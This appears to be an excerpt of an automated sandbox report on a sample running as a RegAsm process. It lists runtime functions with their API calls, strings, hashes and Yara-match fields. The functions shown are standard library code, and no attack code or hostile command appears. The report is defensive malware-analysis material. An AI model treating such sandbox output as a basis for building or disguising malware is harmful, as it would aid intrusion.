                                                              • Opcode Fuzzy Hash: 14b8f9ac75b8980b6812ff089cde42dce8ba1f12a125e940596199f5ca44a4d3
                                                              • Instruction Fuzzy Hash: E9F0BB35605625ABDB215A63DC05BDB3F489FC5760B158123B904EB1A0CA68D9D1819D
                                                              Function 0041FB65 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 444 41fb65-41fb89 CreateFileW
                                                              APIs
                                                              • CreateFileW.KERNELBASE(?,00000000,?,0041FF58,?,?,00000000,?,0041FF58,?,0000000C), ref: 0041FB82
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: CreateFile
                                                              • String ID:
                                                              • API String ID: 823142352-0
                                                              • Opcode ID: 32f1cee3c5876f16e38c750b1e34007635eee82df29fa4d42b06ff8a7cf34f14
                                                              • Instruction ID: 28cfbda6749b70c9de2fbd9d245fef773b8951bf2dd70127050a9a6bf190398c
                                                              • Opcode Fuzzy Hash: 32f1cee3c5876f16e38c750b1e34007635eee82df29fa4d42b06ff8a7cf34f14
                                                              • Instruction Fuzzy Hash: 05D06C3210010DFBDF128F84DC06EDA3FAAFB4C714F018010FA5856021C732E832AB94

                                                              Non-executed Functions

                                                              Function 0041EBA1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLocaleInfoW.KERNEL32(3FC00000,2000000B,0041EEBF,00000002,00000000,?,?,?,0041EEBF,?,00000000), ref: 0041EC3A
                                                              • GetLocaleInfoW.KERNEL32(3FC00000,20001004,0041EEBF,00000002,00000000,?,?,?,0041EEBF,?,00000000), ref: 0041EC63
                                                              • GetACP.KERNEL32(?,?,0041EEBF,?,00000000), ref: 0041EC78
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: InfoLocale
                                                              • String ID: ACP$OCP
                                                              • API String ID: 2299586839-711371036
                                                              • Opcode ID: ae0517b9bda7198648f1cbed6e652a34a4e79f3510d6da964a24c0c18db862fc
                                                              • Instruction ID: 81a9d30784dd22d719d41cfb92251f6e816e7a4bc62bdb22216d11a6fc444572
                                                              • Opcode Fuzzy Hash: ae0517b9bda7198648f1cbed6e652a34a4e79f3510d6da964a24c0c18db862fc
                                                              • Instruction Fuzzy Hash: 92218E3AB04101AADB34CF56CD05AD773A7AF50B50B568826FD0AD7211F736EE81C798
                                                              Function 0041ED76 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
                                                                • Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1
                                                              • GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0041EE82
                                                              • IsValidCodePage.KERNEL32(00000000), ref: 0041EECB
                                                              • IsValidLocale.KERNEL32(?,00000001), ref: 0041EEDA
                                                              • GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0041EF22
                                                              • GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0041EF41
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
                                                              • String ID:
                                                              • API String ID: 415426439-0
                                                              • Opcode ID: 1f142972335a53d1e2416df24534188105d76140515381cc06687f0020485920
                                                              • Instruction ID: eeabbf5cfaddba79e94d22b4dd48aaeada7d5b667952b3c456454f902e5df75d
                                                              • Opcode Fuzzy Hash: 1f142972335a53d1e2416df24534188105d76140515381cc06687f0020485920
                                                              • Instruction Fuzzy Hash: B4519075A00315ABDF20DFA6DC41BEB77B8FF48700F54442AAD14E7290E7789980CB69
                                                              Function 0041E412 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
                                                                • Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1
                                                              • GetACP.KERNEL32(?,?,?,?,?,?,00411EE1,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0041E4D3
                                                              • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00411EE1,?,?,?,00000055,?,-00000050,?,?), ref: 0041E4FE
                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0041E661
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ErrorLast$CodeInfoLocalePageValid
                                                              • String ID: utf8
                                                              • API String ID: 607553120-905460609
                                                              • Opcode ID: d2e92ad91d33230e432f41824a885b4f53a9106f8c4d9673b702c20c8aa694f9
                                                              • Instruction ID: 5e8f11e88951c7c1c9557d61489bca48d24d80555c5ca4e9e4b82e7d51b65768
                                                              • Opcode Fuzzy Hash: d2e92ad91d33230e432f41824a885b4f53a9106f8c4d9673b702c20c8aa694f9
                                                              • Instruction Fuzzy Hash: 8F711775A00611AADB24AB77CC42BE773A8EF54708F14442BFD05D7281FB7CE9818799
                                                              Function 00415635 Relevance: 6.3, APIs: 4, Instructions: 337COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: _strrchr
                                                              • String ID:
                                                              • API String ID: 3213747228-0
                                                              • Opcode ID: d8f824a3a597dbe048be884bb3e91045552750dfa5ffe6b567c0d7537b351b3d
                                                              • Instruction ID: 91afe31f9ab3d507f6121463a8ee3d13cfef47ac4a512e863f990cc27fdcea00
                                                              • Opcode Fuzzy Hash: d8f824a3a597dbe048be884bb3e91045552750dfa5ffe6b567c0d7537b351b3d
                                                              • Instruction Fuzzy Hash: 92B15872E00645DFDB119F68C891BEEBBE5EF85310F14816BE815AB341D2389D81CBA9
                                                              Function 00407B01 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407B0D
                                                              • IsDebuggerPresent.KERNEL32 ref: 00407BD9
                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00407BF9
                                                              • UnhandledExceptionFilter.KERNEL32(?), ref: 00407C03
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                              • String ID:
                                                              • API String ID: 254469556-0
                                                              • Opcode ID: bdb8d4ffe5861b74027a400539b36d4e8f115b4355d90c864d7f04757154f5f6
                                                              • Instruction ID: ca20a48664bdef0e78e9b146848890f6e34f40b99dedcfcf476291c653997e40
                                                              • Opcode Fuzzy Hash: bdb8d4ffe5861b74027a400539b36d4e8f115b4355d90c864d7f04757154f5f6
                                                              • Instruction Fuzzy Hash: 1B314B75D0521CDBDF20DFA0D9497CDBBB8BF04304F1040AAE50DA7290EB756A859F09
                                                              Function 00404B20 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 191COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00404B4C
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00404B69
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00404B8D
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00404BB8
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00404C2A
                                                              • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00404C7F
                                                              • __Getctype.LIBCPMT ref: 00404C96
                                                              • std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00404CD6
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00404D78
                                                              • std::_Facet_Register.LIBCPMT ref: 00404D7E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Facet_GetctypeLocinfo_ctorLocinfo_dtorRegister
                                                              • String ID: bad locale name
                                                              • API String ID: 103145292-1405518554
                                                              • Opcode ID: c0c875cd123add666a1ba57ec1f0c94ac2efaa9798bd961d6f12d2679ec0601c
                                                              • Instruction ID: c45789c66640c356b2bc41b45c406846e681c44b1f4b151baf81fb86c109fe15
                                                              • Opcode Fuzzy Hash: c0c875cd123add666a1ba57ec1f0c94ac2efaa9798bd961d6f12d2679ec0601c
                                                              • Instruction Fuzzy Hash: 7B619FB19043408BD720DF65D941B5BB7F4AFD4304F05493EE989A7392E738E948CB5A
                                                              Function 0040A998 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • type_info::operator==.LIBVCRUNTIME ref: 0040AAB7
                                                              • ___TypeMatch.LIBVCRUNTIME ref: 0040ABC5
                                                              • _UnwindNestedFrames.LIBCMT ref: 0040AD17
                                                              • CallUnexpected.LIBVCRUNTIME ref: 0040AD32
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
                                                              • String ID: csm$csm$csm$hqB
                                                              • API String ID: 2751267872-961717235
                                                              • Opcode ID: e36ee884f164e9add2727880ca9071425b34f9d54382f0fd290b92e68b7c122e
                                                              • Instruction ID: 1a84720c735a061b690d6f447b3278b908e1dcb1436106e9bb87ee9a1a6810cd
                                                              • Opcode Fuzzy Hash: e36ee884f164e9add2727880ca9071425b34f9d54382f0fd290b92e68b7c122e
                                                              • Instruction Fuzzy Hash: 2DB18A718003099FDF14DFA5C9809AEBBB5FF14304B19456BE8017B282C739DA61CF9A
                                                              Function 00422D42 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0042485F), ref: 00422D5B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: DecodePointer
                                                              • String ID: acos$asin$exp$log$log10$pow$sqrt
                                                              • API String ID: 3527080286-3064271455
                                                              • Opcode ID: 99bc9cc3bdd9136b520063792197f245364da15bbda7aca5a31b7bed04557963
                                                              • Instruction ID: 541d14d2076966b173cd57405107be29c5c83d47e8039af315078564b0fddfcc
                                                              • Opcode Fuzzy Hash: 99bc9cc3bdd9136b520063792197f245364da15bbda7aca5a31b7bed04557963
                                                              • Instruction Fuzzy Hash: 76514371B0062AEBCB108F59FA4C1AEBBB0FB45304F924057D480A6354CBBD8925EB5E
                                                              Function 0040718A Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00407190
                                                              • GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0040719E
                                                              • GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 004071AF
                                                              • GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 004071C0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: AddressProc$HandleModule
                                                              • String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
                                                              • API String ID: 667068680-1247241052
                                                              • Opcode ID: 12cc8ab004fe47f31fffcbf58e36badd15f6e56e2ad587471c9b10d870eb8305
                                                              • Instruction ID: 3afd18a413fbafaec0d1884410ec314f69904bb85606d66d63126fe90f125993
                                                              • Opcode Fuzzy Hash: 12cc8ab004fe47f31fffcbf58e36badd15f6e56e2ad587471c9b10d870eb8305
                                                              • Instruction Fuzzy Hash: 3CE0EC71749671AB83209F70BC0EDAA3AA4EE0971139205B2BD15D2361D6BC44559B9C
                                                              Function 00405A29 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 00405A30
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00405A3A
                                                                • Part of subcall function 00401980: std::_Lockit::_Lockit.LIBCPMT ref: 0040199C
                                                                • Part of subcall function 00401980: std::_Lockit::~_Lockit.LIBCPMT ref: 004019B9
                                                              • codecvt.LIBCPMT ref: 00405A74
                                                              • std::_Facet_Register.LIBCPMT ref: 00405A8B
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00405AAB
                                                              • __EH_prolog3.LIBCMT ref: 00405AC5
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$Facet_Registercodecvt
                                                              • String ID: A]@
                                                              • API String ID: 2149013928-4157627500
                                                              • Opcode ID: 48a836b95ea0a2a7942309d70e795f41733f6e8201952988750b77b38025a74f
                                                              • Instruction ID: 869559141b16ddd60639a7327273d1e33329aff20660fcaf6a9c65af963ad09c
                                                              • Opcode Fuzzy Hash: 48a836b95ea0a2a7942309d70e795f41733f6e8201952988750b77b38025a74f
                                                              • Instruction Fuzzy Hash: E5318174A00615CFCB11EF68C480AAEBBF0FF48354F54452EE445AB392DB79AA00CF99
                                                              Function 00424323 Relevance: 12.2, APIs: 8, Instructions: 248COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: __freea$__alloca_probe_16$Info
                                                              • String ID:
                                                              • API String ID: 127012223-0
                                                              • Opcode ID: 8a56644c9f658ced4a7fecf9f58cf2b799a0c4498a4b3962048a55bd8390d3ba
                                                              • Instruction ID: b3b1fd3be87dc675253da9249cad55eb0a70a834b65d1a532299ad71412a1fff
                                                              • Opcode Fuzzy Hash: 8a56644c9f658ced4a7fecf9f58cf2b799a0c4498a4b3962048a55bd8390d3ba
                                                              • Instruction Fuzzy Hash: 24711872B00625ABDF20AE64AC41BAF77B5DFC5314F94005BEA44A7381D73CDC8187A9
                                                              Function 00414301 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,89E1CD17,?,0041440E,004038E3,?,?,00000000), ref: 004143C2
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: FreeLibrary
                                                              • String ID: api-ms-$ext-ms-
                                                              • API String ID: 3664257935-537541572
                                                              • Opcode ID: 86759f0994eafd6f84a6647c0fdf9b4e30a2247b6dec6dce197b99e7f52573c2
                                                              • Instruction ID: 9d281342414512710d521e2bc5e8bd8d189b06f0c9bb1d1e4d3acc3ca9f27be4
                                                              • Opcode Fuzzy Hash: 86759f0994eafd6f84a6647c0fdf9b4e30a2247b6dec6dce197b99e7f52573c2
                                                              • Instruction Fuzzy Hash: 9E21F371B41219ABCB219B61AC41F9B77589F817B4F250222ED26A73C0D738ED42C6D8
                                                              Function 00422232 Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 34dfbc0b19412f8332e2df089f070eab11bf50ad423d98e1f5d4bef1ead3c863
                                                              • Instruction ID: 9d2747a7e5b70225cc448f1b3832819408a251e63c6cb1e4317f51345b07cf5e
                                                              • Opcode Fuzzy Hash: 34dfbc0b19412f8332e2df089f070eab11bf50ad423d98e1f5d4bef1ead3c863
                                                              • Instruction Fuzzy Hash: B9B1E870B00215BFDB11DF59D980BAE7BB1BF45304F94816AE401AB392C7B99D42CB69
                                                              Function 0040A62A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLastError.KERNEL32(?,?,0040A621,00408D5A,00407CB3), ref: 0040A638
                                                              • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040A646
                                                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040A65F
                                                              • SetLastError.KERNEL32(00000000,0040A621,00408D5A,00407CB3), ref: 0040A6B1
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ErrorLastValue___vcrt_
                                                              • String ID:
                                                              • API String ID: 3852720340-0
                                                              • Opcode ID: f63bbb8cb7aec36dee6161e5b527cb909134a011cd361eeab7ab36a7405b742e
                                                              • Instruction ID: 78011c5e5d228000ed262031febe4d72c2c7c60d5ad4d387ad9a5ce747099190
                                                              • Opcode Fuzzy Hash: f63bbb8cb7aec36dee6161e5b527cb909134a011cd361eeab7ab36a7405b742e
                                                              • Instruction Fuzzy Hash: 530128332093112ED62427B6BD45A5B2678DB51774738063FF510722F1EF7E5C11554D
                                                              Function 004114C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,89E1CD17,?,?,00000000,0042534E,000000FF,?,00411458,?,?,0041142C,00000016), ref: 004114FD
                                                              • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0041150F
                                                              • FreeLibrary.KERNEL32(00000000,?,00000000,0042534E,000000FF,?,00411458,?,?,0041142C,00000016), ref: 00411531
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                              • String ID: CorExitProcess$mscoree.dll
                                                              • API String ID: 4061214504-1276376045
                                                              • Opcode ID: 5db7edf03dd5c6a86733f78c3fc37fecd77a691f09511d684ccae05772ab5e40
                                                              • Instruction ID: 91ec29eb5be505712193f20e889ba6035279a869843729da5c2c1c8d1a6e38dc
                                                              • Opcode Fuzzy Hash: 5db7edf03dd5c6a86733f78c3fc37fecd77a691f09511d684ccae05772ab5e40
                                                              • Instruction Fuzzy Hash: 5E018431A50625EBDB218F50DC09BAEB7F9FB44B11F400526F912A22A0DB789900CA58
                                                              Function 00418EB1 Relevance: 7.7, APIs: 5, Instructions: 202COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __alloca_probe_16.LIBCMT ref: 00418F38
                                                              • __alloca_probe_16.LIBCMT ref: 00418FF9
                                                              • __freea.LIBCMT ref: 00419060
                                                                • Part of subcall function 00415426: HeapAlloc.KERNEL32(00000000,?,?,?,00407448,?,?,004038E3,0000000C), ref: 00415458
                                                              • __freea.LIBCMT ref: 00419075
                                                              • __freea.LIBCMT ref: 00419085
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: __freea$__alloca_probe_16$AllocHeap
                                                              • String ID:
                                                              • API String ID: 1096550386-0
                                                              • Opcode ID: b34ec7378ed80fdedf5b3cd9fd74b686b7ca20f323847e8b562edae9002d46d2
                                                              • Instruction ID: 5a58541e407446bb28ced3c61191459bbd43b91e1c19ac61a4b7f941500e9d67
                                                              • Opcode Fuzzy Hash: b34ec7378ed80fdedf5b3cd9fd74b686b7ca20f323847e8b562edae9002d46d2
                                                              • Instruction Fuzzy Hash: 1451E572600206AFDB249E65CC81EFB3AA9EF48754B15012EFD05D7250EB39DD81C7A9
                                                              Function 00401F00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 74COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • ___std_exception_copy.LIBVCRUNTIME ref: 00401F9D
                                                                • Part of subcall function 00408090: RaiseException.KERNEL32(E06D7363,00000001,00000003,00407FAB,?,?,?,?,00407FAB,0000000C,00432FA4,0000000C), ref: 004080F0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ExceptionRaise___std_exception_copy
                                                              • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                                              • API String ID: 3109751735-1866435925
                                                              • Opcode ID: 4ead06d7015465d74104fe04bb50a28eb9893de3519d089dfdf398cb4e8224d9
                                                              • Instruction ID: 39c8128b798e2086e3302e8ab46e2dce8cada1f1b911e2d41b88b79c7a5bec65
                                                              • Opcode Fuzzy Hash: 4ead06d7015465d74104fe04bb50a28eb9893de3519d089dfdf398cb4e8224d9
                                                              • Instruction Fuzzy Hash: BD1136B29107156BC710DF68D801B86B3E8AF08310F14853FFA54E7291F778E804CBA9
                                                              Function 00407420 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407DA8
                                                              • ___raise_securityfailure.LIBCMT ref: 00407E90
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: FeaturePresentProcessor___raise_securityfailure
                                                              • String ID: #7@$@SC
                                                              • API String ID: 3761405300-54278199
                                                              • Opcode ID: be0408e9841c2604ed6c70be4b6810e12912a1b256ed321422f905974070e74f
                                                              • Instruction ID: 0d92a2c854cdd6e88b4d1eeb56e5bf4da0bfe8ec24aca00867b110679a0b03e4
                                                              • Opcode Fuzzy Hash: be0408e9841c2604ed6c70be4b6810e12912a1b256ed321422f905974070e74f
                                                              • Instruction Fuzzy Hash: DA2107B4640A00DBD318CF15F9857943BF4BB68355FA0643AE9088B3B1D3B46485CF1E
                                                              Function 0040B772 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,0040B723,00000000,00000001,0043568C,?,?,?,0040B8C6,00000004,InitializeCriticalSectionEx,00427C38,InitializeCriticalSectionEx), ref: 0040B77F
                                                              • GetLastError.KERNEL32(?,0040B723,00000000,00000001,0043568C,?,?,?,0040B8C6,00000004,InitializeCriticalSectionEx,00427C38,InitializeCriticalSectionEx,00000000,?,0040B67D), ref: 0040B789
                                                              • LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,0040A593), ref: 0040B7B1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: LibraryLoad$ErrorLast
                                                              • String ID: api-ms-
                                                              • API String ID: 3177248105-2084034818
                                                              • Opcode ID: 22226141dfb546a2f16a4bc61347b62053759e468ff986d8c484c8ccf3c75455
                                                              • Instruction ID: 4a96934300341e5ece3864587fe3feae18b3ac400cb1fe2ce3454729e361f76d
                                                              • Opcode Fuzzy Hash: 22226141dfb546a2f16a4bc61347b62053759e468ff986d8c484c8ccf3c75455
                                                              • Instruction Fuzzy Hash: 29E01A30384208BBEF205B61EC06F5A3E64EB40B85F904031FB0DE91E1E775A9519ACC
                                                              Function 004164C2 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetConsoleOutputCP.KERNEL32(89E1CD17,00000000,00000000,0040BDB8), ref: 00416525
                                                                • Part of subcall function 0041B08B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00419056,?,00000000,-00000008), ref: 0041B137
                                                              • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00416780
                                                              • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004167C8
                                                              • GetLastError.KERNEL32 ref: 0041686B
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
                                                              • String ID:
                                                              • API String ID: 2112829910-0
                                                              • Opcode ID: 82cd919ffc66cdbec26423ec8f462efebf3297e9721ada9a3fb481d80f0d1854
                                                              • Instruction ID: 1bb8143dd65314e62236f50c93da9e0a6d801424c5e2e01ca8c3ea5794d6433d
                                                              • Opcode Fuzzy Hash: 82cd919ffc66cdbec26423ec8f462efebf3297e9721ada9a3fb481d80f0d1854
                                                              • Instruction Fuzzy Hash: 7DD158B5E002589FCB11DFA9D880AEDBBB5FF48304F19412AE856E7351D734E882CB58
                                                              Function 0041B4A7 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
